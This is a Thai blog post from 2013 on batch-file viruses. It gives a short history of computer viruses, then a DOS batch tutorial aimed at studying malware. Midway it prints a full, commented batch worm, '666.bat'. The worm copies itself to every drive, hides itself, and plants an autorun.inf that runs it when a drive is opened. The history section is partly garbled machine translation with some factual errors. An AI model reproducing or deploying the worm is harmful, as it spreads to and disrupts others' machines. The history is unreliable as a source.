วันพุธที่ 5 มิถุนายน พ.ศ. 2556

ทำความเข้าใจ Batch File Virus ตอนที่ 1


กำเนิดของไวรัสพอสังเขป...เริ่มจาก

1."จอน ฟอน นอยมันส์" อัจฉริยะทางคอมพิวเตอร์ผู้ที่ตั้งและนิยามทฤษฎีมากมายรวมถึงทฤษฎีไวรัสคอมพิวเตอร์คือโปรแกรมคอมพิวเตอร์สามารถจำลองตัวมันเองได้" ในหนังสือที่เขาประพันธ์เล่มหนึ่ง...ผู้เขียนยังไม่มีรายละเอียดมากนักเกี่ยวกับหนังสือเล่มนั้น ตอนนั้นเครื่องคอมพิวเตอรส่วนบุคคลยังไม่มีด้วยซ้ำ...ที่สำคัญคนคนนี้...สามารถจิตนาการถึงเกมส์คอมพิวเตอร์ได้โดยอ้างจาก ***วิกิพิเดียดังนี้
บิดาของทฤษฎีเกม (game theory). เขาได้ตีพิมพ์หนังสือ Theory of Games and Economic Behavior โดยร่วมเขียนกับ Oskar Morgenstern ในปี ค.. 1944 เขาได้คิดหลักการ "MAD" (mutually assured destruction) อาจแปลไทยได้เป็น "รับรองได้ว่าเจ๊งไปด้วยกันทั้งคู่แน่" ซึ่งเป็นหลักการซึ่งใช้เป็นหลักสำคัญ ในการวางแผนกลยุทธ์ทางด้านอาวุธนิวเคลียร์ของอเมริกา ในช่วงสงครามเย็น

2.ศูนย์วิจัย "เบลล์แล็บ" ทำการทดสอบโปรแกรมที่มีชื่อว่า "สงครามหน่วยความจำ" โดยให้โปรแกรมเมอร์ในทีมวิจัย...สร้าง "โปรแกรมที่สามารถจำลองตัวเองเพื่อแย่งชิงหน่วยความจำในเครื่องเมนเฟรม" ผลปรากฏคือ...เกิดโปรแกรมจำพวกไวรัส...ตัวแรกบนโลก...ในห้องทดลอง...เบลล์แล็บ (หรือเรียกว่าเบลล์แล็บและเป็นที่รู้จักกันของ AT & T Bell ห้องปฏิบัติการและห้องปฏิบัติการเบลล์โทรศัพท์ ) คือการวิจัยและพัฒนาเป็น บริษัท ย่อยของฝรั่งเศสที่เป็นเจ้าของAlcatel-LucentในBerkeley Heights, นิวเจอร์ซีย์ , สหรัฐอเมริกา . มันก่อนหน้านี้เป็นส่วนหนึ่งของอเมริกันโทรศัพท์ & บริษัท โทรเลข ( AT & T คอร์ปอเรชั่น ), ครึ่งหนึ่งที่เป็นเจ้าของผ่านตะวันตกไฟฟ้าบริษัท ย่อยผลิต

4."เฟรด โคเฮน" เป็นคนแรก...ที่ตั้งคำจำกัดความให้กับโปรแกรมจำพวกนี้ว่า"ไวรัสคอมพิวเตอร์"พร้อมกับทำไวรัสออกมาเพื่อสาธิตให้กับคนทั่วๆ ไปได้ทราบว่ามันคืออะไรเขาถึงได้สมญาว่าเป็น "บิดาแห่งไวรัสคอมพิวเตอร์"


5. 1982 "เอลก์ โคลนเนอร์ (Elk Cloner)" เป็นไวรัสตัวแรกของโลกที่เข้าไปยังเครื่องคอมพิวเตอร์ (เป็น Apple อยู่ คนธรรมดาไม่มีเงินซื้อหลอก) ผู้ใช้ทั่วโลก โดยผ่านฟล็อปปี้ดิสก์ของเครื่องคอมพิวเตอร์ "แอปเปิ้ล II" และจะขึ้นคำกลอนของ "ริช สเครนต้า"

6. ในยุคที่ PC ถือกำเนิด (เครื่อง IBM และ สามัญชนมีปัญญาซื้อ) ก็มีไวรัสตัวแรกที่ติดเชื้อบนเครื่อง PC ผ่าน Boot Sector ของ DOS คือ "© Brain" ซึ่งเขียนโดยสองพี่น้องชาวปากีสทาน (ขอไม่เอ่ยนาม...เพราะไม่ใช่วีรบุรุษ) ซึ่งเขียนไวรัสบูตเซกเตอร์ติดเชื้อไปกับแผ่น "บูตดอส"ของดอส 3.1 รุ่นโบราณ...ใครก็ตามที่นำแผ่นโปรแกรมละเมิดลิขสิทธิ์ที่สองพี่น้องผู้นี้ขายให้...ติดไวรัสกับบ้านไปทุกคน...


7. “Hacker คนแรกของโลกปี 1988 "มอร์ริส (Morris)" เป็นหนอนคอมพิวเตอร์ หรือโปรแกรมที่ถูกออกแบบมาให้มีความสามารถในการทำสำเนาตัวเองด้วยโค้ดที่อยู่ในตัวมันเองโดยอิสระ ไม่ต้องรอการเรียกใช้งานจากผู้ใช้ หนอนคอมพิวเตอร์จะทำการแพร่กระจายตัวเองจากคอมพิวเตอร์เครื่องหนึ่งไปยังอีกเครื่องหนึ่ง โดยอาศัยระบบเครือข่ายที่สามารถแพร่กระจายได้อย่างรวดเร็วและทำความเสียหายได้


6. ต่อมาเกิดไวรัสติดแฟ้ม .COM, .EXE ที่ชื่อ "เจรูซาเลม" ถือเป็นไวรัสติดแฟ้มข้อมูลจำพวกแรกที่กำเนิดขึ้นบนโลกมันจะทำลายข้อมูลทั้งหมดในวัน ศุกร์ที่ 13


7. ซาตาน 6.6.6 หรือ ไวรัส "ไมเคิลแองเจิลโล่" ไวรัสที่มีการทำลายล้างสูงที่สุด...ในอดีต...คือสามารถทำลายข้อมูล วันที่ 6 เดือน มิถุนายน ซึ่ง ญี่ปุ่น ไทย อเมริกา และประเทศอื่น...ออกข่าวดังทางโทรทัศน์ในอดีต...ทำให้ "บุคคลทั่วไปรู้และเข้าใจว่าในคอมพิวเตอร์มีไวรัสคอมพิวเตอร์และแต่ยังคิดว่าเป็นเชื่อโรคหรือฝุ่นละอองชนิดหนึ่ง"


7. ไวรัส "ลาวดวงเดือน" ซึ่งเป็นไวรัสบูตเซกเตอร์และเป็นไวรัสตัวแรกของประเทศไทย...ทุกวันนี้ก็ยังไม่มีใครทราบว่าคนเขียนเป็นใคร เงื่อนไขการทำลายของไวรัสตัวนี้คือ บรรเลงเพลงลาวดวงเดือนเป็นช่วงสั้นๆ ทุก 5-7 นาที

การทดสอบไวรัส...และเข้าถึงว่ามันคืออะไรทำงานอย่างไร...?
กรณีศึกษาเพื่อทำความเข้าใจเกี่ยวกับคำสั่งไวรัส
1. หนอนและไวรัสแบทช์ไฟล์
เจาะลึก DOS Batch File (ปูพื้นฐานการศึกษามัลแวร์)
Batch File คืออะไร...มันคือชุดคำสั่งที่รวบรวมคำสั่งบน Command Line (หรือคำสั่งบน หน้าต่าง Cmd ของ วินโดวส์ XP) ซึ่งในอดีต...DOS สร้างขึ้นมาเพื่อเป็นเมนูลัดบนระบบปฏิบัติการรุ่นโบราณที่ทำงานอยู่บน "คอนโซล(แป้นพิมพ์และจอภาพ)" เช่นการ CD DOS คือการเข้าไปยัง Directory DOS หากจะพิมพ์ข้อความเหล่านั้นทั้งหมด...บ่อยๆ ครั้ง จะทำให้เสียเวลา DOS จึงให้สามารถนำคำสั่งที่ใช้บ่อยๆ มาบันทึกเป็นแฟ้มข้อความที่มีนามสกุล .BAT เพื่อให้สามารถพิมพ์ชื่อแฟ้ม .BAT นั้นและตามด้วย Enter ก็สามารถเรียกใช้คำสั่งทั้งหมดในนั้นได้คำสั่งเพียงคำสั่งเดียวคุณเองจำมันได้ จะกลายเป็นเส้นทางลัดและคำสั่งแบบซับซ้อน
ซึ่งตัวของ Batch File เองสามารถทำงานอะไรได้บ้าง...โอย...มันทำงานได้มากจนคุณเองคาดไม่ถึงเลย...ตั้งแต่การล็อกระบบ, ตรวจสอบข้อมูล Error หรือ, เขียนไวรัส...(อันสุดท้ายนี้ไม่ค่อยชอบนะแต่คุ้นเคย) และผู้อ่านที่บางคนไม่เคยแตะ...DOS มาก่อนจะศึกษาได้หรือเปล่า...ได้ครับ...แต่ต้องมีพื้นฐานต้องหาอ่านกันหน่อย ในหนังสือเล่มนี้จะอธิบายเฉพาะคำสั่งที่สำคัญๆ เท่านั้น...เพราะเกรงว่าถ้าอธิบายทุกๆ คำสั่งของ DOS เนื้อหาของหนังสือจะไม่พอครับ...
เอาล่ะ...ปูพื้นกันใหม่ด้วย DOS บนวินโดวส์เอ็กซ์พี...
DOS ที่ทำงานบนวินโดวส์ 32 บิต มันจะขยายการทำงานของ Environment Memory ที่คุณใช้กำหนดตัวแปรด้วยคำสั่ง SET และมันก็ทำงานร่วมกับชื่อแฟ้มข้อมูลที่มีขนาดยาวๆ ได้สบาย รวมถึงบรรจุคำสั่งภายใน (Internal Command) เอาไว้ในระบบวินโดวส์ ครับ...เป็นผลให้ตำรา DOS ที่คุณเคยเปิดอ่าน...เก็บมันใส่ลังได้เลยเพราะคำสั่งใหม่ๆ เพิ่มเข้ามาเพียบ...ผมเองก็นำมาสอนได้ไม่ทุกคำสั่งครับ...แต่มีรายชื่อคำสั่งภายใน (Internal Command) ให้คุณดูเล่นๆ ดังนี้ ASSOC, AT, ATTRIB, BREAK, CACLS, CALL, CD, CHCP, CHDIR, CHKDSK,CHKNTFS, CLS, CMD, COLOR, COMP, COMPACT, CONVERT, COPY, DATE,DEL, DIR, DISKCOMP, DISKCOPY, DOSKEY, ECHO, ENDLOCAL, ERASE,EXIT, FC, FIND, FINDSTR, FOR, FORMAT, FTYPE, GOTO, GRAFTABL,HELP, IF, LABEL, MD, MKDIR, MODE, MORE, MOVE, PATH, PAUSE, POPD, PRINT, PROMPT, PUSHD, RD, RECOVER, REM, REN, RENAME, REPLACE,RMDIR, SET, SETLOCAL, SHIFT, SORT, START, SUBST, TIME, TITLE, TREE, TYPE, VER, VERIFY, VOL, XCOPY นี้คือคำสั่งที่สามารถทำงานได้ทุกเวลาที่ วินโดวส์ทำงานครับ ไม่เหมือนกับ (External Command) เช่น EDIT.EXE, FDISK.EXE ซึ่งไวรัสเองสามารถลบแฟ้มคำสั่งเหล่านั้นทิ้ง ส่งผลให้ใช้คำสั่งนั้นไม่ได้ ตัวอย่างคือถ้าไวรัสลบแฟ้ม REG.EXE ทิ้งไปซะ จะทำให้ไม่สามารถแก้ไขระบบรีจีสตรีย์ ของวินโดวส์ได้ใน DOS Command และถ้าไวรัสลบแฟ้ม REGEDIT.EXE, REGEDIT32.EXE ทิ้งไปอีก ก็ไม่สามารถเข้ารีจีสตรีย์ ในวินโดวส์ได้เลย ทำให้การฆ่าไวรัสยากขึ้นอีกมาก อย่างไรก็ดี คุณรู้แล้วควรสำรองแฟ้มเหล่านี้เก็บเอาไว้เพื่อไม่ให้ถูกเล่นงานจากไวรัสแบบเซียน
คำสั่งบน DOS นั้น ประกอบด้วย...
[คำสั้งDOS]วรรค[/ พารามิเตอร์]วรรค[ที่อยู่แฟ้มข้อมูลหรือโฟลเดอร์]
เช่น DIR /AS C:WINDOWS
หรือ
[คำสั่งDOS]วรรค[+- พารามิเตอร์]วรรค[ที่อยู่แฟ้มข้อมูลหรือโฟลเดอร์]
เช่น ATTRIB +R +H +S C:AUTOEXEC.BAT
หรือ
[คำสั่งDOS]วรรค[คำสั่งย่อย]วรรค[ที่อยู่แฟ้มข้อมูลหรือโฟลเดอร์]
เช่น REG QUERY HKLMSYSTEM
หรือจะดูรูปแบบคำสั่งในตัวช่วย
[คำสั่งDOS] /?
เช่น COPY /?
หรือ
[คำสั่งDOS]วรรค[คำสั่งย่อย] /?
เช่น REG QUERY /?
DOS จะมีอุปกรณ์เชื่อมต่อที่สำคัญอยู่ 5 แฮนเดิล...
ซึ่งทำงานเสมอ..โดยไม่มีโปรแกรมใดเข้าไปแตะต้อง...นอกจากยืมใช้งาน
1. อุปกรณ์ "CON" ใช้อ้างถึงเมื่อต้องการติดต่อจอภาพกับคีย์บอร์ด
2. อุปกรณ์ "AUX" ใช้อ้างถึงเมื่อต้องการติดต่อพอร์ตสื่อสารอนุกรม
3. อุปกรณ์ "PRN" ใช้อ้างถึงเมื่อต้องการติดต่อเครื่องพิมพ์ (Default)
4. อุปกรณ์ "LPT" ใช้อ้างถึงพอร์ตขนาน
5. อุปกรณ์ "NUL" ใช้อ้างถึงเมื่อไม่ต้องการส่งข้อมูลไปที่ใดเลยผลทำให้การแสดงผลของคำสั่งไม่มีหรือหายไป...
คำสั่งเชื่อมต่อ หรือ "ไปป์ปิ้ง ; Piping"
และคำสั่งที่จะอ้างถึงอุปกรณ์เหล่านั้นเราเรียก "ท่อ Pipe" หรือคำสั่ง "ไปป์ปิ้ง" มีอยู่ 5 คำสั่งคือ
1. | "เชื่อมต่อ" คำสั่งนี้เป็นคำสั่งไปป์ตัวจริงใช้เชื่อมคำสั่ง DOS 2 คำสั่งให้ทำงานพร้อมกัน 2 คำสั่งอย่างมากเท่าที่ทำงานมา) แต่คำสั่งนี้ทำงานได้ตั้งแต่ DOS 5 เป็นต้นมาแต่มีข้อเสียคือถ้าจะใช้คำสั่งนี้...ห้ามใช้กับอุปกรณ์ ROM เช่น CD-ROM กล่าวคือคำสั่งต้องอาศัย Temporary ในการทำงานจึงไม่สามารถทำงานกับอุปกรณ์ที่ป้องกันการเขียนได้
2. > "ยิงออก" คำสั่งนี้เป็นคำสั่งส่งผลหน้าจอภาพไปยังอุปกรณ์ทั้ง 5
3. >> "ยิงเพิ่ม" คำสั่งนี้เป็นคำสั่งส่งผลหน้าจอภาพเพิ่มเติมจาก "ยิงออก" ไปยังอุปกรณ์ทั้ง 5
4. < "รับเข้า" คำสั่งนี้เป็นคำสั่งส่งผลจากคำสั่งด้านหลังเข้ามา
5. & "และคำสั่ง" (ใช้ในวินโดวส์ XP ขึ้นไป) เนื่องจาก XP สามารถเขียนคำสั่ง DOS หลายคำสั่งในบรรทัดเดียวกันได้...(บางคนไม่รู้) และคำสั่งที่ใช้ในการเชื่อมต่อคำสั่งเหล่านั้นคือ (คำสั่งDOS) & (คำสั่งDOS) & (คำสั่งDOS)
ตัวอย่างคำสั่งที่น่าสนใจ
COPY CON A.BAT (หมายถึง "คัดลอกอุปกรณ์ CON ในชื่อ A.BAT")
พิมพ์คำสั่งลงไป...เพราะนี้คือแป้นรับคำสั่งแบบ Notepad แต่มันกลับไปแก้ไขบรรทัดบนไม่ได้...จบการทำงานด้วย Ctrl+Z
TYPE A.BAT >PRN (หมายถึง "พิมพ์ข้อความ A.BAT ไปที่ เครื่องพิมพ์")
มาดูการเขียนหนอนคอมพิวเตอร์กันซะเลย...
:: นี้คือแบทช์ไฟล์หนอนคอมพิวเตอร์ที่ทำงานบนวินโดวส์ 98 , วินโดวส์ Me และ วินโดวส์ XP
:: ส่งผลให้ทุกไดร์ฟของระบบติด Autorun.INF พร้อมแนบแฟ้ม 666.bat ซึ่งเป็นหนอนไปด้วย
:: หนอนนี้จะทำงานต่อเมื่อมีคนดับเบิ้ลคลิ๊กที่ไดร์ฟที่ติดหนอน...มันจึงเริ่มทำงานในทันที
@echo off
:: คำสั่งนี้คือการซ่อนบรรทัดคำสั่ง Command Line บนดอสไม่ให้แสดงการทำงาน
if not "%1"=="" goto Interface
:: คำสั่งนี้ไว้ตรวจสอบว่ามีการเรียกใช้ลูปการค้นหาไดร์ฟหรือไม่ถ้ามีจะไปที่ตำแหน่งติดเชื้อ
for %%d in (c d e f g h i j k l m n o p q r s t u v w x y z) do call %0 %%d
:: วนการทำงานจนกว่าครบทุกไดร์ฟ...และทำการเรียกตัวเองขึ้นมาโดยส่งข้อมูลเป็นชื่อไดร์ฟ
Start .
:: เข้าสู่หน้าต่างวินโดวส์ตามปกติ...เพื่อไม่ให้ผิดสังเกต
goto endbat
:: ไปที่ตำแหน่งสุดท้าย...เพราะหมดคำสั่งควบคุม
:Interface
:: นี้คือตำแหน่งเริ่มต้นติดเชื้อ
type 666.bat >%1:666.bat
:: คัดลอกแฟ้ม 666.bat ซึ่งเป็นหนอนไปยังทุกไดร์ฟที่พบ
attrib +s +h +r %1:666.bat > nul
:: กำหนดให้แฟ้มหนอน 666.bat เป็นแฟ้มระบบและซ่อนตัวและห้ามเขียน
attrib -r -h -s %1:autorun.inf>nul
:: กำหนดคุณสมบัติของ Autorun.inf ถ้าพบจะแก้ให้เป็นแฟ้มปกติเขียนได้
echo [autorun] > %1:autorun.inf
:: ส่งข้อความ [autorun] ไปยังแฟ้ม Autorun.inf เพื่อสร้างคำสั่งหนอน
echo shellexecute=666.bat >>%1:autorun.inf
:: ส่งข้อความต่อท้ายในอีกบรรทัด shellexcute=666.bat เพื่อเรียกหนอนทำงานเมื่อ Autorun
attrib +s +h +r %1:autorun.inf > nul
:: กำหนดให้แฟ้ม Autorun.inf เป็นแฟ้มระบบและซ่อนตัวและห้ามเขียน
:endbat
:: สิ้นสุดคำสั่งหนอน
จำแนกคำสั่งที่สำคัญในแบทช์ไฟล์...
1. คำสั่ง @ (คำสั่งซ่อนบรรทัดคอมมานด์ไลน์) คำสั่งนี้ ใช้กำหนดหน้าคำสั่ง Echo Off ซึ่งก็ทำงานเหมือนกับคำสั่งนี้เช่นกันแต่ คำสั่ง Echo Off จะไม่มีผลต่อคำสั่งของมันเอง...จึงต้องอาศัยคำสั่ง @ นำหน้าอีกทีเพื่อซ่อนบรรทัดคอมมานด์ไลน์อีกที แต่ถ้าภายในคำสั่งของ แบทช์ไฟล์มีบรรทัดที่น้อยมาก ก็อาจจะใช้ @ นำหน้าคำสั่งเหล่านั้นได้เลยเพื่อให้ประหยัดเนื้อที่คำสั่ง เช่น
@cls
@dir /as /s
หรือ
@echo off
cls
dir /as /s
2. คำสั่ง : (คำสั่งกำหนดตำแหน่งของชุดคำสั่ง) คำสั่งนี้คือการกำหนด ลาเบล (Label) หรือตำแหน่งของชุดคำสั่งดอสแต่ละคำสั่ง ซึ่งบางครั้ง อาจใช้กำหนดลูปการทำงานของชุดคำสั่งในแบทไฟล์เพื่อให้ทำงานแบบไม่มีวันหยุด เช่น
@echo off
:loop
:: ตำแหน่งเริ่มต้น
echo Loop Command
:: แสดงข้อความ
pause
:: รอรับคีย์บอร์ดใดๆ
goto Loop
:: วนกลับไปที่ตำแหน่งเริ่มต้น
สำหรับ :: (คำสั่งนี้ไม่มีในตำราใดๆ ครับ) เพราะเป็นการประยุกต์ใช้ คำสั่ง : แต่ทำการซ้อนกัน 2 ตัว เพื่อให้มันไม่ถูกเรียกใช้งานจากแบทช์ไฟล์ จึงมีค่าเท่ากับคำสั่ง REM (Remark หรือ หมายเหตุ) คำสั่งนี้ถูกประยุกต์ใช้งานในคู่มือการสอนเขียนแบทช์ไฟล์ในยุคแรกๆ มาตั้งนานแล้ว...เช่น
:: นี้คือหมายเหตุ
หรือ
rem นี้คือหมายเหตุ
3. คำสั่ง goto (คำสั่งย้ายการทำงานไปยังลาเบลที่กำหนด) คำสั่งนี้มีผลต่อลาเบลที่อยู่ภายในแบทไฟล์นั้น...และในวินโดวส์เอ็กซ์พี นี้สามารถกำหนดให้มันรับอากิวเมนต์ของคำสั่ง IF ERRORLEVEL ได้ด้วย (ดูเงื่อนไขใน Help ของ ดอส) ในคำสั่ง : ที่ผ่านมาตำแหน่งถูกต้อง แต่ถ้าชื่อของตำแหน่งไม่ถูกต้อง เช่น
:loop
:: กำหนดตำแหน่งวนคำสั่ง
@echo Loop Command
:: แสดงข้อความเมื่อวนการทำงาน
@goto Looop
:: ไปยังตำแหน่ง Looop ซึ่งไม่มีอยู่ในคำสั่ง
@echo Error Me
:: คำสั่งนี้จะไม่สามารถทำงานได้
จากตัวอย่างคำสั่งของแบทช์ไฟล์ไม่สามารถทำงานได้สมบรูณ์ เพราะคำสั่ง Looop นั้นไม่มีอยู่เนื่องจากผู้เขียนเติม o (โอ) เพิ่มเข้าไปอีกตัวจึงทำให้อ่านตำแหน่งผิดพลาด เป็นผลให้คำสั่งที่ต่อท้ายลงมาไม่สามารถทำงานได้ แต่คำสั่ง goto นั้นมีข้อดีตรงที่ไม่แยกแยะตัวพิมพ์เล็กหรือพิมพ์ใหญ่ เช่น
:LooP
:: กำหนดตำแหน่งวนการทำงานเป็นตัวพิมพ์เล็กและพิมพ์ใหญ่
@echo Loop Command
:: แสดงข้อความเมื่อวนการทำงาน
@goto loop
:: ไปยังตำแหน่ง LooP โดยไม่สนใจตัวพิมพ์เล็กหรือพิมพ์ใหญ่
หมายเหตุ หากคำสั่งของแบทช์ไฟล์ทำงานไม่หยุด...ให้คุณกด {Ctrl+Break} เพื่อหยุดการทำงานของมัน
4. คำสั่ง if not "%1" == "" ทำคำสั่ง (คำสั่งตัดสินใจ ถ้า พารามิเตอร์ที่ 1 ไม่มีตัวอักษร ให้ทำ) คำสั่งนี้จะใช้ต่อเมื่อต้องการดูว่าพารามิเตอร์ที่ต่อท้ายแฟ้มแบทช์ไฟล์มีหรือไม่ เช่น สมมุติให้แฟ้มแบทช์ไฟล์นี้ชื่อ test.bat
C:>test command1
หมายถึง ส่งคำว่า command1 ไปประมวลผลในแฟ้มชื่อ test.bat และคำสั่งนั้นคือ %1 และหากสมมุติว่า เว้นวรรค และพิมพ์ command2 ต่อท้าย command1 ดูตัวอย่าง
C:>test command1 command2
คำว่า command2 จะถูกเรียกว่า พารามิเตอร์ที่ 2 แทนด้วย %2 ในทันที ซึ่งในแบทไฟล์นั้นสามารถรับได้สูงสุด 9 พารามิเตอร์ คือ %1 ถึง %9 ซึ่งก็มากดพอดู แต่หากแบทช์ไฟล์ของคุณต้องการพารามิเตอร์ที่มากกว่านั้น คงต้องศึกษาคำสั่ง shift เพิ่มเติมใน Help บนดอสของวินโดวส์เอ็กซ์พีกันอีกที
กลับมาที่ if not "%1" == "" (ให้ทำ) ว่ามันทำงานอย่างไร ในคำสั่ง If นั้นมีกิ่งก้านสาขาของคำสั่งที่มากครับ...ผมเองก็ไม่สามารถนำมาอธิบายให้ได้หมด...แต่ถ้าต้องการศึกษาให้ลึกซึ้งคงต้องพึ่งพา Help กันนะครับ...ทีนี้มาดูซิว่าทำไม่ if "%1" == "" (ให้ทำ) หรือ if not "%1" == "" (ให้ทำ) ถึงต้องมีเครื่องหมาย "" (อัญประกาศ) กำหนดพารามิเตอร์ที่ 1 ทั้งนี้ทั้งนั้นเป็นเพราะว่า if %1 == (ให้ทำ) จะเห็นว่าชุดคำสั่งไม่สมบรูณ์ ถ้าบอกดอสให้ทราบว่า %1 นั้นต้องการเปรียบเทียบกับอะไรอยู่ เพราะ ถ้าคุณเว้นว่างเอาไว้เฉยๆ จะทำให้ดอสทำงานผิดพลาดนั้นเอง ซึ่งโดยปกติแล้ว if %1 == %2 (ให้ทำ) จะสามารถเปรียบเทียบกันได้ทันที...โดยไม่ต้องระบุเครื่องหมายอัญประกาศหรือเครื่องหมายอื่นๆ นำหน้ามันเพราะ แบทช์ไฟล์เป็นภาษาสคริปที่ประมวลข้อความ (การประมวลผลการคำนวนนั้นเพิ่งจะเริ่มมีในวินโดวส์เอ็กซ์พีเป็นต้นมา) จากตัวอย่างพอจะอธิบายออกมาเป็นรูปแบบดังนี้
@if "%1" == "" echo มีการกำหนดพารามิเตอร์ที่ 1
:: ถ้าพารามิเตอร์ที่ 1 ไม่มีข้อความแสดงข้อความ
@if not "%1" = "" echo ไม่มีการกำหนดข้อความ
:: ถ้าพารามเตอร์ไม่มีข้อความแสดงข้อความผิดพลาด
หรือ
@if "%1" == "" (echo กรุณาระบุข้อความ ) else (echo ข้อความคือ %1)
:: เงื่อนไขนี้ใช้บนวินเอ็กซ์พีขึ้นไปเพราะดอสรุ่นเก่าๆ ไม่สามารถกำหนดเงื่อนไขแบบนี้ได้
อย่างไรก็ดี...ผมก็อยากจะบอกน้องๆ นักศึกษาที่ไม่ได้เรียนรู้ภาษาคอมพิวเตอร์มาก่อนหรืออาจจะเคยเรียนแต่ยังไม่คล่องเกี่ยวกับเงื่อนไขการคำนวนของภาษาคอมพิวเตอร์ว่า ... คำสั่ง IF... ELSE ... นั้นเป็นหัวใจสำคัญของทุกๆ ภาษาในการเขียนโปรแกรมคอมพิวเตอร์ ฉนั้น...ควรทำความเข้าใจอย่างมากในการศึกษาเงื่อนไขของคำสั่งนี้...ไม่ใช่เพื่อการเขียนไวรัสเท่านั้น...แต่มันเป็นเงื่อนไขสำคัญในการเขียนโปรแกรมฆ่าไวรัสด้วย...คำสั่งนี้คำสั่งเดียวสามารถทำให้โปรแกรมมีขนาดยาวหรือสั้นหรือทำงานได้รวดเร็วกว่า ผู้ที่เขียนโปรแกรมด้วยกัน
5. คำสั่ง for %%ตัวแปร in (ชุดข้อมูล) do ทำคำสั่ง (สำหรับ %%ตัวแปร จาก ชุดข้อมูล ทำ คำสั่ง) คำสั่งนี้มีไว้สำหรับการประมวลผลแบบหลายข้อมูลภายในคำสั่งเดียว เช่น
@for %%l in (bat vbs js) do dir *.%%l
:: สำหรับ ตัวแปร l ให้ dir แฟ้มนามสกุล *.bat, *.vbs และ *.js
จะเป็นการทำงานกับหลายแฟ้มหรือหลายๆ ชุดข้อมูล โดยต้องเว้นวรรค ขั้นแต่ละชุดข้อมูลเอาไว้ และใช้ตัวแปร %%l ซึ่งต้องมีเครื่องหมาย %% นำหน้าเพื่อบ่งบอกว่าเป็นตัวแปรที่มาจากชุดคำสั่ง for ถ้าไม่บ่งบอกให้ถูกหลักอาจจะทำให้คำสั่งทำงานผิดพลาดอย่างมาก มาดูตัวอย่างอีกตัวอย่างเพื่อความกระจ่างอีกที เช่น
@for %%d in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do if exist %%d:autorun.inf echo %%d: Werning!
:: สำหรับตัวแปร d ถ้าพบแฟ้ม (ตัวแปร d แทนไดร์ฟข้อมูล):autorun.inf แสดงข้อความเตือน (ตัวแปร d แทนไดร์ฟข้อมูล): Werning!
ซึ่งรูปแบบของคำสั่ง...ไม่มีอะไรซับซ้อน...เพียงแต่ต้องอ้างถึงรูปแบบของตัวแปรให้ถูกต้อง...ก็สามารถทำงานได้ตามเป้าหมาย สำหรับเงื่อนไขของคำสั่ง FOR เชิงลึก คือ FOR /F และเงื่อนไขอื่นๆ นั้นผมไม่ขออธิบายเพราะมันจะทำให้หนังสือเล่มนี้ดูเป็นหนังสือเชิงอ้างอิง...ซึ่งผมไม่ตั้งใจให้เป็นเช่นนั้น เพราะวัตถุประสงค์ของผมต้องการให้ผู้อ่าน ปฏิบัติและทดลองและเพื่อกระตุ้นการศึกษาค้นคว้าเพิ่มเติมต่อไป...จึงย้ำอีกทีว่าหนังสือเล่มนี้...เป็นเชิงปฏิบัติการณ์
6. คำสั่ง call %0 %%d (เรียกใช้แบทไฟล์ที่ทำงานอยู่ พร้อมส่งตัวแปรไปยังพารามิเตอร์ที่ 1) คำสั่งนี้จะทำให้แบทไฟล์เกิดการทำงานแบบ Overflow หรือ Error ได้เนื่องจาก ถ้าเขียนคำสั่งควบคุมนี้ไม่เป็นมันจะส่งผลให้หน่วยความเต็มได้...หรือเกิดการวนการทำงานของแบทไฟล์แบบไม่มีวันจบ เหมือนกับคำสั่ง goto เพียงแต่คำสั่งนี้จะส่งผลโดยตรงต่อหน่วยความจำ เช่น
@echo Me Activeting...
:: แสดงข้อความว่ากำลังทำงาน
@call %0
:: เรียกแฟ้มนี้ขึ้นมาทำงานอีก
จากตัวอย่าง คำสั่งดังกล่าวจะทำงานแบบไม่มีวันจบ...รอจนกว่า ระบบปฏิบัติการณ์จะแสดงข้อความผิดพลาดในเรื่องการจัดการหน่วยความจำ หรือโปรแกรมอาจทำให้เครื่องค้างไปเลย จึงต้องระวังอย่างมากในการอ้างถึง %0 หรือ พารามิเตอร์ หลัก คือ ชื่อแฟ้มคำสั่งนั้นเอง ซึ่งโดยปกติแล้ว...จะไม่มีโปรแกรมแบทช์ไฟล์ใดอ้างถึงชื่อแฟ้มคำสั่งเพื่อมาประมวลผล...นอกเสียจากเป็น "มัลแวร์" หรือ "คำสั่งฆ่ามัลแวร์" จึงต้องแยกแยะให้ดีหากจะเขียนโปรแกรมฆ่าไวรัสจำพวกนี้....
มาดูตัวอย่างเพื่อทำความเข้าใจเกี่ยวกับการใช้คำสั่ง Call กันอีกตัวอย่าง เช่น
@echo Me Activeting...
:: แสดงข้อความ
@call %0
:: เรียกแฟ้มนี้ขึ้นมาทำงาน
@%0
:: กระโดดการทำงานไปยังแฟ้มที่เรียกใช้ คือ แฟ้มนี้ (คำสั่งนี้ไม่มีโอกาสได้ทำงาน)
จากตัวอย่าง ดูเหมือนว่า คำสั่งน่าจะทำงานแบบสิ้นสุด...แต่ไม่สิ้นสุดเพราะว่า คำสั่ง call จะถูกเรียกใช้ก่อน ทุกๆ ครั้งที่รันแบทซ์ไฟล์ จึงทำให้คำสั่ง %0 นั้นไม่สามารถทำงานได้...ในเครื่องที่ผมทดลองคือระบบปฏิบัติการวินโดวส์เอ็กซ์พีนั้น...มันจะแสดงหน้าต่างขึ้นมาสักพักและจะปิดตัวลง แต่ถ้าเรามาเขียนในทางกลับกัน เช่น
@echo Me Activeting...
:: แสดงข้อความ
@%0
:: กระโดดการทำงานไปยังแฟ้มที่เรียกใช้ คือ แฟ้มนี้
@call %0
:: เรียกแฟ้มนี้ขึ้นมาทำงาน (คำสั่งนี้ไม่มีโอกาสได้ทำงาน)
จากตัวอย่าง คำสั่งนี้จะไม่ปิดตัวเองลงไป...เพราะมันทำงานคล้ายคำสั่ง goto ส่งผลให้หน่วยความจำไม่ได้ถูกใช้ไปมากและการวนลูปการทำงานก็ยังดำเนินต่อไปอย่างไม่สิ้นสุด แต่ถ้าเราเพิ่มคำสั่งจัดการมันให้เต็มรูปแบบด้วยเงื่อนไข...จะทำให้มันทำงานได้อย่างราบรื่น เช่น
@echo Me Activeting...Parameter is %1
:: ถ้าไม่มีพารามิเตอร์ ใดๆ จะแสดงข้อความ Me Activeting...Parameter is
@if "%1" == "" %0 Again
:: ถ้าพารามิเตอร์ว่าง จะส่งคำว่า Again เป็นพารามิเตอร์ (และกระโดดการทำงานไปโดยไม่สนใจคำสั่ง ด้านล่าง)
@if "%1" == "Again" Call %0 End
:: ถ้าพารามิเตอร์เป็น Again จะเรียกแฟ้มนี้ใหม่ ส่งคำว่า End เป็น พารามิเตอร์ และจบการทำงานเพราะ ไม่มีเงือนไขการตัดสินใจ
